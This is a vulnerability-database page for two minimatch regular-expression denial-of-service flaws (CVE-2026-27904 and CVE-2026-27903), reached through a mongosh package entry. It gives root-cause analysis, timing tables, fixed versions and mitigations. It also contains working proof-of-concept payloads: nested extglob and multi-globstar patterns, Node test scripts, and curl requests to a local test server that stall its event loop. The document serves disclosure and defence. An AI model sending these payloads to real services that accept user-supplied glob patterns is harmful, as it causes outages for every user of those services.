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Vulnerability from cleanstart
Package mongosh version 2.7.0-r0 fixes 2 vulnerabilities: ghsa-7r86-cg39-jmmj, ghsa-23c5-xmqv-rm74
| URL | Type | |
|---|---|---|
{
"affected": [
{
"package": {
"ecosystem": "Alpine",
"name": "mongosh"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.7.0-r0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"2.7.0-r0"
]
}
],
"credits": [],
"database_specific": {},
"details": "Package mongosh version 2.7.0-r0 fixes 2 vulnerabilities: ghsa-7r86-cg39-jmmj, ghsa-23c5-xmqv-rm74",
"id": "CLEANSTART-2026-IX68063",
"modified": "2026-07-30T09:34:41Z",
"published": "2026-07-30T07:10:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mongodb-js/mongosh"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes in mongosh 2.7.0-r0",
"upstream": [
"ghsa-7r86-cg39-jmmj",
"ghsa-23c5-xmqv-rm74"
]
}
GHSA-23C5-XMQV-RM74
Vulnerability from github – Published: 2026-02-26 22:07 – Updated: 2026-02-26 22:07Summary
Nested *() extglobs produce regexps with nested unbounded quantifiers (e.g. (?:(?:a|b)*)*), which exhibit catastrophic backtracking in V8. With a 12-byte pattern *(*(*(a|b))) and an 18-byte non-matching input, minimatch() stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default minimatch() API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects +() extglobs equally.
Details
The root cause is in AST.toRegExpSource() at src/ast.ts#L598. For the * extglob type, the close token emitted is )* or )?, wrapping the recursive body in (?:...)*. When extglobs are nested, each level adds another * quantifier around the previous group:
: this.type === '*' && bodyDotAllowed ? `)?`
: `)${this.type}`
This produces the following regexps:
| Pattern | Generated regex |
|---|---|
*(a\|b) |
/^(?:a\|b)*$/ |
*(*(a\|b)) |
/^(?:(?:a\|b)*)*$/ |
*(*(*(a\|b))) |
/^(?:(?:(?:a\|b)*)*)*$/ |
*(*(*(*(a\|b)))) |
/^(?:(?:(?:(?:a\|b)*)*)*)*$/ |
These are textbook nested-quantifier patterns. Against an input of repeated a characters followed by a non-matching character z, V8's backtracking engine explores an exponential number of paths before returning false.
The generated regex is stored on this.set and evaluated inside matchOne() at src/index.ts#L1010 via p.test(f). It is reached through the standard minimatch() call with no configuration.
Measured times via minimatch():
| Pattern | Input | Time |
|---|---|---|
*(*(a\|b)) |
a x30 + z |
~68,000ms |
*(*(*(a\|b))) |
a x20 + z |
~124,000ms |
*(*(*(*(a\|b)))) |
a x25 + z |
~116,000ms |
*(a\|a) |
a x25 + z |
~2,000ms |
Depth inflection at fixed input a x16 + z:
| Depth | Pattern | Time |
|---|---|---|
| 1 | *(a\|b) |
0ms |
| 2 | *(*(a\|b)) |
4ms |
| 3 | *(*(*(a\|b))) |
270ms |
| 4 | *(*(*(*(a\|b)))) |
115,000ms |
Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.
PoC
Tested on minimatch@10.2.2, Node.js 20.
Step 1 -- verify the generated regexps and timing (standalone script)
Save as poc4-validate.mjs and run with node poc4-validate.mjs:
import { minimatch, Minimatch } from 'minimatch'
function timed(fn) {
const s = process.hrtime.bigint()
let result, error
try { result = fn() } catch(e) { error = e }
const ms = Number(process.hrtime.bigint() - s) / 1e6
return { ms, result, error }
}
// Verify generated regexps
for (let depth = 1; depth <= 4; depth++) {
let pat = 'a|b'
for (let i = 0; i < depth; i++) pat = `*(${pat})`
const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString()
console.log(`depth=${depth} "${pat}" -> ${re}`)
}
// depth=1 "*(a|b)" -> /^(?:a|b)*$/
// depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/
// depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/
// depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/
// Safe-length timing (exponential growth confirmation without multi-minute hang)
const cases = [
['*(*(*(a|b)))', 15], // ~270ms
['*(*(*(a|b)))', 17], // ~800ms
['*(*(*(a|b)))', 19], // ~2400ms
['*(*(a|b))', 23], // ~260ms
['*(a|b)', 101], // <5ms (depth=1 control)
]
for (const [pat, n] of cases) {
const t = timed(() => minimatch('a'.repeat(n) + 'z', pat))
console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`)
}
// Confirm noext disables the vulnerability
const t_noext = timed(() => minimatch('a'.repeat(18) + 'z', '*(*(*(a|b)))', { noext: true }))
console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`)
// +() is equally affected
const t_plus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))'))
console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)
Observed output:
depth=1 "*(a|b)" -> /^(?:a|b)*$/
depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/
depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/
depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/
"*(*(*(a|b)))" n=15: 269ms result=false
"*(*(*(a|b)))" n=17: 268ms result=false
"*(*(*(a|b)))" n=19: 2408ms result=false
"*(*(a|b))" n=23: 257ms result=false
"*(a|b)" n=101: 0ms result=false
noext=true: 0ms (should be ~0ms)
"+(+(+(a|b)))" n=18: 6300ms result=false
Step 2 -- HTTP server (event loop starvation proof)
Save as poc4-server.mjs:
import http from 'node:http'
import { URL } from 'node:url'
import { minimatch } from 'minimatch'
const PORT = 3001
http.createServer((req, res) => {
const url = new URL(req.url, `http://localhost:${PORT}`)
const pattern = url.searchParams.get('pattern') ?? ''
const path = url.searchParams.get('path') ?? ''
const start = process.hrtime.bigint()
const result = minimatch(path, pattern)
const ms = Number(process.hrtime.bigint() - start) / 1e6
console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`)
res.writeHead(200, { 'Content-Type': 'application/json' })
res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n')
}).listen(PORT, () => console.log(`listening on ${PORT}`))
Terminal 1 -- start the server:
node poc4-server.mjs
Terminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately:
curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" &
Terminal 3 -- send a benign request while the attack is in-flight:
curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz"
Observed output -- Terminal 2 (attack):
{"result":false,"ms":"64149"}
Observed output -- Terminal 3 (benign, concurrent):
{"result":false,"ms":"0"}
time_total: 63.022047s
Terminal 1 (server log):
[2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz"
[2026-02-20T09:42:21.775Z] done in 64149ms result=false
[2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz"
[2026-02-20T09:42:21.779Z] done in 0ms result=false
The server reports "ms":"0" for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second time_total is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.
Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.
Impact
Any context where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.
Depth 3 (*(*(*(a|b))), 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (*(*(a|b)), 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.
+() extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).
Mitigation available: passing { noext: true } to minimatch() disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "10.0.0"
},
{
"fixed": "10.2.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.0.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "7.4.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0"
},
{
"fixed": "6.2.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.1.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.2.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-27904"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-26T22:07:15Z",
"nvd_published_at": "2026-02-26T02:16:21Z",
"severity": "HIGH"
},
"details": "### Summary\n\nNested `*()` extglobs produce regexps with nested unbounded quantifiers (e.g. `(?:(?:a|b)*)*`), which exhibit catastrophic backtracking in V8. With a 12-byte pattern `*(*(*(a|b)))` and an 18-byte non-matching input, `minimatch()` stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default `minimatch()` API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects `+()` extglobs equally.\n\n---\n\n### Details\n\nThe root cause is in `AST.toRegExpSource()` at [`src/ast.ts#L598`](https://github.com/isaacs/minimatch/blob/v10.2.2/src/ast.ts#L598). For the `*` extglob type, the close token emitted is `)*` or `)?`, wrapping the recursive body in `(?:...)*`. When extglobs are nested, each level adds another `*` quantifier around the previous group:\n\n```typescript\n: this.type === \u0027*\u0027 \u0026\u0026 bodyDotAllowed ? `)?`\n: `)${this.type}`\n```\n\nThis produces the following regexps:\n\n| Pattern | Generated regex |\n|----------------------|------------------------------------------|\n| `*(a\\|b)` | `/^(?:a\\|b)*$/` |\n| `*(*(a\\|b))` | `/^(?:(?:a\\|b)*)*$/` |\n| `*(*(*(a\\|b)))` | `/^(?:(?:(?:a\\|b)*)*)*$/` |\n| `*(*(*(*(a\\|b))))` | `/^(?:(?:(?:(?:a\\|b)*)*)*)*$/` |\n\nThese are textbook nested-quantifier patterns. Against an input of repeated `a` characters followed by a non-matching character `z`, V8\u0027s backtracking engine explores an exponential number of paths before returning `false`.\n\nThe generated regex is stored on `this.set` and evaluated inside `matchOne()` at [`src/index.ts#L1010`](https://github.com/isaacs/minimatch/blob/v10.2.2/src/index.ts#L1010) via `p.test(f)`. It is reached through the standard `minimatch()` call with no configuration.\n\nMeasured times via `minimatch()`:\n\n| Pattern | Input | Time |\n|----------------------|--------------------|------------|\n| `*(*(a\\|b))` | `a` x30 + `z` | ~68,000ms |\n| `*(*(*(a\\|b)))` | `a` x20 + `z` | ~124,000ms |\n| `*(*(*(*(a\\|b))))` | `a` x25 + `z` | ~116,000ms |\n| `*(a\\|a)` | `a` x25 + `z` | ~2,000ms |\n\nDepth inflection at fixed input `a` x16 + `z`:\n\n| Depth | Pattern | Time |\n|-------|----------------------|--------------|\n| 1 | `*(a\\|b)` | 0ms |\n| 2 | `*(*(a\\|b))` | 4ms |\n| 3 | `*(*(*(a\\|b)))` | 270ms |\n| 4 | `*(*(*(*(a\\|b))))` | 115,000ms |\n\nGoing from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.\n\n---\n\n### PoC\n\nTested on minimatch@10.2.2, Node.js 20.\n\n**Step 1 -- verify the generated regexps and timing (standalone script)**\n\nSave as `poc4-validate.mjs` and run with `node poc4-validate.mjs`:\n\n```javascript\nimport { minimatch, Minimatch } from \u0027minimatch\u0027\n\nfunction timed(fn) {\n const s = process.hrtime.bigint()\n let result, error\n try { result = fn() } catch(e) { error = e }\n const ms = Number(process.hrtime.bigint() - s) / 1e6\n return { ms, result, error }\n}\n\n// Verify generated regexps\nfor (let depth = 1; depth \u003c= 4; depth++) {\n let pat = \u0027a|b\u0027\n for (let i = 0; i \u003c depth; i++) pat = `*(${pat})`\n const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString()\n console.log(`depth=${depth} \"${pat}\" -\u003e ${re}`)\n}\n// depth=1 \"*(a|b)\" -\u003e /^(?:a|b)*$/\n// depth=2 \"*(*(a|b))\" -\u003e /^(?:(?:a|b)*)*$/\n// depth=3 \"*(*(*(a|b)))\" -\u003e /^(?:(?:(?:a|b)*)*)*$/\n// depth=4 \"*(*(*(*(a|b))))\" -\u003e /^(?:(?:(?:(?:a|b)*)*)*)*$/\n\n// Safe-length timing (exponential growth confirmation without multi-minute hang)\nconst cases = [\n [\u0027*(*(*(a|b)))\u0027, 15], // ~270ms\n [\u0027*(*(*(a|b)))\u0027, 17], // ~800ms\n [\u0027*(*(*(a|b)))\u0027, 19], // ~2400ms\n [\u0027*(*(a|b))\u0027, 23], // ~260ms\n [\u0027*(a|b)\u0027, 101], // \u003c5ms (depth=1 control)\n]\nfor (const [pat, n] of cases) {\n const t = timed(() =\u003e minimatch(\u0027a\u0027.repeat(n) + \u0027z\u0027, pat))\n console.log(`\"${pat}\" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`)\n}\n\n// Confirm noext disables the vulnerability\nconst t_noext = timed(() =\u003e minimatch(\u0027a\u0027.repeat(18) + \u0027z\u0027, \u0027*(*(*(a|b)))\u0027, { noext: true }))\nconsole.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`)\n\n// +() is equally affected\nconst t_plus = timed(() =\u003e minimatch(\u0027a\u0027.repeat(17) + \u0027z\u0027, \u0027+(+(+(a|b)))\u0027))\nconsole.log(`\"+(+(+(a|b)))\" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)\n```\n\nObserved output:\n```\ndepth=1 \"*(a|b)\" -\u003e /^(?:a|b)*$/\ndepth=2 \"*(*(a|b))\" -\u003e /^(?:(?:a|b)*)*$/\ndepth=3 \"*(*(*(a|b)))\" -\u003e /^(?:(?:(?:a|b)*)*)*$/\ndepth=4 \"*(*(*(*(a|b))))\" -\u003e /^(?:(?:(?:(?:a|b)*)*)*)*$/\n\"*(*(*(a|b)))\" n=15: 269ms result=false\n\"*(*(*(a|b)))\" n=17: 268ms result=false\n\"*(*(*(a|b)))\" n=19: 2408ms result=false\n\"*(*(a|b))\" n=23: 257ms result=false\n\"*(a|b)\" n=101: 0ms result=false\nnoext=true: 0ms (should be ~0ms)\n\"+(+(+(a|b)))\" n=18: 6300ms result=false\n```\n\n**Step 2 -- HTTP server (event loop starvation proof)**\n\nSave as `poc4-server.mjs`:\n\n```javascript\nimport http from \u0027node:http\u0027\nimport { URL } from \u0027node:url\u0027\nimport { minimatch } from \u0027minimatch\u0027\n\nconst PORT = 3001\nhttp.createServer((req, res) =\u003e {\n const url = new URL(req.url, `http://localhost:${PORT}`)\n const pattern = url.searchParams.get(\u0027pattern\u0027) ?? \u0027\u0027\n const path = url.searchParams.get(\u0027path\u0027) ?? \u0027\u0027\n\n const start = process.hrtime.bigint()\n const result = minimatch(path, pattern)\n const ms = Number(process.hrtime.bigint() - start) / 1e6\n\n console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern=\"${pattern}\" path=\"${path.slice(0,30)}\"`)\n res.writeHead(200, { \u0027Content-Type\u0027: \u0027application/json\u0027 })\n res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + \u0027\\n\u0027)\n}).listen(PORT, () =\u003e console.log(`listening on ${PORT}`))\n```\n\nTerminal 1 -- start the server:\n```\nnode poc4-server.mjs\n```\n\nTerminal 2 -- fire the attack (depth=3, 19 a\u0027s + z) and return immediately:\n```\ncurl \"http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29\u0026path=aaaaaaaaaaaaaaaaaaaz\" \u0026\n```\n\nTerminal 3 -- send a benign request while the attack is in-flight:\n```\ncurl -w \"\\ntime_total: %{time_total}s\\n\" \"http://localhost:3001/match?pattern=*%28a%7Cb%29\u0026path=aaaz\"\n```\n\n**Observed output -- Terminal 2 (attack):**\n```\n{\"result\":false,\"ms\":\"64149\"}\n```\n\n**Observed output -- Terminal 3 (benign, concurrent):**\n```\n{\"result\":false,\"ms\":\"0\"}\n\ntime_total: 63.022047s\n```\n\n**Terminal 1 (server log):**\n```\n[2026-02-20T09:41:17.624Z] pattern=\"*(*(*(a|b)))\" path=\"aaaaaaaaaaaaaaaaaaaz\"\n[2026-02-20T09:42:21.775Z] done in 64149ms result=false\n[2026-02-20T09:42:21.779Z] pattern=\"*(a|b)\" path=\"aaaz\"\n[2026-02-20T09:42:21.779Z] done in 0ms result=false\n```\n\nThe server reports `\"ms\":\"0\"` for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second `time_total` is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.\n\nNote: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8\u0027s JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.\n\n---\n\n### Impact\n\nAny context where an attacker can influence the glob pattern passed to `minimatch()` is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.\n\nDepth 3 (`*(*(*(a|b)))`, 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (`*(*(a|b))`, 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.\n\n`+()` extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).\n\n**Mitigation available:** passing `{ noext: true }` to `minimatch()` disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.",
"id": "GHSA-23c5-xmqv-rm74",
"modified": "2026-02-26T22:07:15Z",
"published": "2026-02-26T22:07:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/isaacs/minimatch/security/advisories/GHSA-23c5-xmqv-rm74"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27904"
},
{
"type": "WEB",
"url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce"
},
{
"type": "PACKAGE",
"url": "https://github.com/isaacs/minimatch"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "minimatch ReDoS: nested *() extglobs generate catastrophically backtracking regular expressions"
}
GHSA-7R86-CG39-JMMJ
Vulnerability from github – Published: 2026-02-26 22:10 – Updated: 2026-02-26 22:10Summary
matchOne() performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent ** (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where n is the number of path segments and k is the number of globstars. With k=11 and n=30, a call to the default minimatch() API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.
Details
The vulnerable loop is in matchOne() at src/index.ts#L960:
while (fr < fl) {
..
if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) {
..
return true
}
..
fr++
}
When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each ** multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).
There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning false on a non-matching input.
Measured timing with n=30 path segments:
| k (globstars) | Pattern size | Time |
|---|---|---|
| 7 | 36 bytes | ~154ms |
| 9 | 46 bytes | ~1.2s |
| 11 | 56 bytes | ~5.4s |
| 12 | 61 bytes | ~9.7s |
| 13 | 66 bytes | ~15.9s |
PoC
Tested on minimatch@10.2.2, Node.js 20.
Step 1 -- inline script
import { minimatch } from 'minimatch'
// k=9 globstars, n=30 path segments
// pattern: 46 bytes, default options
const pattern = '**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b'
const path = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a'
const start = Date.now()
minimatch(path, pattern)
console.log(Date.now() - start + 'ms') // ~1200ms
To scale the effect, increase k:
// k=11 -> ~5.4s, k=13 -> ~15.9s
const k = 11
const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b'
const path = Array(30).fill('a').join('/')
minimatch(path, pattern)
No special options are required. This reproduces with the default minimatch() call.
Step 2 -- HTTP server (event loop starvation proof)
The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:
// poc1-server.mjs
import http from 'node:http'
import { URL } from 'node:url'
import { minimatch } from 'minimatch'
const PORT = 3000
const server = http.createServer((req, res) => {
const url = new URL(req.url, `http://localhost:${PORT}`)
if (url.pathname !== '/match') { res.writeHead(404); res.end(); return }
const pattern = url.searchParams.get('pattern') ?? ''
const path = url.searchParams.get('path') ?? ''
const start = process.hrtime.bigint()
const result = minimatch(path, pattern)
const ms = Number(process.hrtime.bigint() - start) / 1e6
res.writeHead(200, { 'Content-Type': 'application/json' })
res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n')
})
server.listen(PORT)
Terminal 1 -- start the server:
node poc1-server.mjs
Terminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell:
curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" &
Terminal 3 -- while the attack is in-flight, send a benign request:
curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz"
Observed output (Terminal 3):
{"result":true,"ms":"0"}
time_total: 4.132709s
The server reports "ms":"0" -- the legitimate request itself takes zero processing time. The 4+ second time_total is entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:
{"result":true,"ms":"0"}
time_total: 0.001599s
Impact
Any application where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "10.0.0"
},
{
"fixed": "10.2.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.0.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "7.4.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0"
},
{
"fixed": "6.2.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.1.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.2.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-27903"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-26T22:10:18Z",
"nvd_published_at": "2026-02-26T02:16:21Z",
"severity": "HIGH"
},
"details": "### Summary\n\n`matchOne()` performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent `**` (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where `n` is the number of path segments and `k` is the number of globstars. With k=11 and n=30, a call to the default `minimatch()` API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.\n\n---\n\n### Details\n\nThe vulnerable loop is in `matchOne()` at [`src/index.ts#L960`](https://github.com/isaacs/minimatch/blob/v10.2.2/src/index.ts#L960):\n\n```typescript\nwhile (fr \u003c fl) {\n ..\n if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) {\n ..\n return true\n }\n ..\n fr++\n}\n```\n\nWhen a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each `**` multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).\n\nThere is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning `false` on a non-matching input.\n\nMeasured timing with n=30 path segments:\n\n| k (globstars) | Pattern size | Time |\n|---------------|--------------|----------|\n| 7 | 36 bytes | ~154ms |\n| 9 | 46 bytes | ~1.2s |\n| 11 | 56 bytes | ~5.4s |\n| 12 | 61 bytes | ~9.7s |\n| 13 | 66 bytes | ~15.9s |\n\n---\n\n### PoC\n\nTested on minimatch@10.2.2, Node.js 20.\n\n**Step 1 -- inline script**\n\n```javascript\nimport { minimatch } from \u0027minimatch\u0027\n\n// k=9 globstars, n=30 path segments\n// pattern: 46 bytes, default options\nconst pattern = \u0027**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b\u0027\nconst path = \u0027a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a\u0027\n\nconst start = Date.now()\nminimatch(path, pattern)\nconsole.log(Date.now() - start + \u0027ms\u0027) // ~1200ms\n```\n\nTo scale the effect, increase k:\n\n```javascript\n// k=11 -\u003e ~5.4s, k=13 -\u003e ~15.9s\nconst k = 11\nconst pattern = Array.from({ length: k }, () =\u003e \u0027**/a\u0027).join(\u0027/\u0027) + \u0027/b\u0027\nconst path = Array(30).fill(\u0027a\u0027).join(\u0027/\u0027)\nminimatch(path, pattern)\n```\n\nNo special options are required. This reproduces with the default `minimatch()` call.\n\n**Step 2 -- HTTP server (event loop starvation proof)**\n\nThe following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:\n\n```javascript\n// poc1-server.mjs\nimport http from \u0027node:http\u0027\nimport { URL } from \u0027node:url\u0027\nimport { minimatch } from \u0027minimatch\u0027\n\nconst PORT = 3000\n\nconst server = http.createServer((req, res) =\u003e {\n const url = new URL(req.url, `http://localhost:${PORT}`)\n if (url.pathname !== \u0027/match\u0027) { res.writeHead(404); res.end(); return }\n\n const pattern = url.searchParams.get(\u0027pattern\u0027) ?? \u0027\u0027\n const path = url.searchParams.get(\u0027path\u0027) ?? \u0027\u0027\n\n const start = process.hrtime.bigint()\n const result = minimatch(path, pattern)\n const ms = Number(process.hrtime.bigint() - start) / 1e6\n\n 